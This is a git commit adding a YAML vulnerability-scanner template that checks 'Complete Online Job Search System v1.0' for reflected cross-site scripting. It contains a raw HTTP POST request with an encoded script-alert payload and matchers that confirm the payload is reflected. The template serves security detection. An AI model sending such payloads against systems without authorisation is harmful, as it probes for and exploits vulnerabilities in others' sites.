Merge pull request #4854 from arafatansari/patch-14

Create eris-xss.yaml
patch-1
Prince Chaddha 2022-07-19 14:58:37 +05:30 committed by GitHub
commit 8279d7b4e7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 38 additions and 0 deletions

View File

@ -0,0 +1,38 @@
id: eris-xss
info:
name: Complete Online Job Search System v1.0 - Reflected Cross Site Scripting
author: arafatansari
severity: medium
description: |
Complete Online Job Search System v1.0 is vulnerable to Reflected Cross Site Scripting via index.php?q=advancesearch.
metadata:
verified: true
tags: cve,cve2022,xss,eris
requests:
- raw:
- |
POST /index.php?q=result&searchfor=advancesearch HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
SEARCH=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&COMPANY=&CATEGORY=&submit=Submit
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Result : <script>alert(document.domain)</script>'
- 'ERIS'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200